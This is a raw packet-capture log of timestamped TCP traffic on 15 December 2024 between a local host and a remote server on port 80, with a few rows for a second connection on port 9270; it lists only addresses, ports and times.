Dec 15, 2024 11:59:49.470091105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.470135927 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.471322060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.471369982 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.471420050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.471465111 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.472634077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.472685099 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.472815037 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.472862005 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.473965883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.474018097 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.474066019 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.474112034 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.475296021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.475327969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.475347042 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.475379944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.476577044 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.476624966 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.476666927 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.476710081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.477916002 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.477969885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.478060961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.478113890 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.479218960 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.479268074 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.479326010 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.479382992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.480544090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.480595112 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.480637074 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.480685949 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.481857061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.481910944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.481952906 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.481996059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.483175039 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.483222008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.483275890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.483319044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.484519005 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.484571934 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.484616995 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.484661102 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.485830069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.485882998 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.485933065 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.485980034 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.487137079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.487196922 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.487241983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.487284899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.488461018 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.488521099 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.488609076 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.488652945 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.489782095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.489833117 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.489876986 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.489921093 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.491079092 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.491130114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.491179943 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.491225004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.492420912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.492474079 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.492518902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.492559910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.493721962 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.493774891 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.493818998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.493864059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.495044947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.495096922 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.495141029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.495182991 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.496352911 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.496407986 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.496455908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.496496916 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.497698069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.497762918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.497808933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.497858047 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.499006987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.499052048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.499099016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.499147892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.500329971 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.500391006 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.500431061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.500475883 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.501750946 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.501797915 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.622428894 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.622507095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.622613907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.622613907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.622893095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.622941017 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.623089075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.623191118 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.623238087 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.624046087 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.624094009 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.624150991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.624192953 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.624650002 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:49.625152111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.625197887 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.625243902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.625288010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.626341105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.626377106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.626388073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.626414061 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.627355099 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.627405882 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.627446890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.627495050 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.628467083 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.628525019 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.628596067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.628643990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.629596949 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.629642010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.629676104 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.629719973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.630630970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.630680084 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.630714893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.630757093 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.631757021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.631803989 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.631810904 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.631853104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.632813931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.632848978 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.632863998 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.632898092 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.633936882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.633989096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.634037971 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.634084940 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.635021925 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.635072947 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.635137081 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.635183096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.636112928 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.636159897 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.636209965 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.636251926 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.637203932 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.637252092 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.637307882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.637351990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.638315916 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.638366938 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.638451099 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.638497114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.639444113 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.639492989 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.639574051 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.639621019 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.640507936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.640556097 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.640650988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.640697956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.641693115 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.641741037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.641829967 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.641875029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.642774105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.642822027 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.642863035 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.642909050 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.643841982 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.643893003 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.643933058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.643975019 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.644906998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.644953966 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.645014048 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.645056963 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.646030903 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.646078110 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.646117926 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.646163940 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.647103071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.647166014 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.647249937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.647294998 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.648231030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.648276091 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.648334026 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.648376942 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.649343967 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.649390936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.649418116 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.649458885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.650424004 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.650470972 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.650563955 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.650609970 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.651499987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.651546001 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.651592970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.651637077 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.652600050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.652648926 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.652667046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.652709007 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.653721094 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.653767109 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.653954983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.653995037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.654841900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.654894114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.654913902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.654958963 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.655886889 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.655941010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.656028032 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.656069040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.657017946 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.657058954 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.657104015 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.657139063 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.658114910 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.658160925 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.658201933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.658242941 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.659204006 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.659251928 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.659296989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.659338951 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.660315990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.660358906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.660415888 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.660459995 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.661410093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.661454916 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.661501884 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.661544085 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.662621021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.662671089 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.662714005 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.662760973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.663602114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.663649082 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.663688898 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.663731098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.664721012 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.664772987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.664835930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.664877892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.665848017 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.665906906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.665977001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.666021109 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.666938066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.666985035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.667088032 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.667129993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.668008089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.668051958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.668138981 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.668184042 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.669120073 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.669166088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.669224024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.669266939 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.670226097 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.670270920 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.670319080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.670362949 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.671325922 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.671379089 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.671418905 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.671462059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.672435999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.672485113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.672635078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.672678947 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.673527002 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.673571110 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.673619032 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.673660994 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.674659014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.674710035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.674741030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.674787045 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.675720930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.675766945 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.675808907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.675852060 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.676815033 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.676860094 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.677047968 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.677092075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.677901983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.677947044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.678009987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.678057909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.679008961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.679055929 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.679186106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.679224968 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.680088043 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.680135965 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.744467974 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:49.814625025 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.814672947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.814812899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.814812899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.815148115 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.815191984 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.815260887 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.815306902 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.816225052 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.816338062 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.816375971 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.816375971 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.817359924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.817404985 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.817465067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.817516088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.818427086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.818476915 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.818645000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.818692923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.820094109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.820147991 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.820231915 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.820276022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.820647001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.820693016 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.820754051 CET	80	49857	185.215.113.16	192.168.2.4
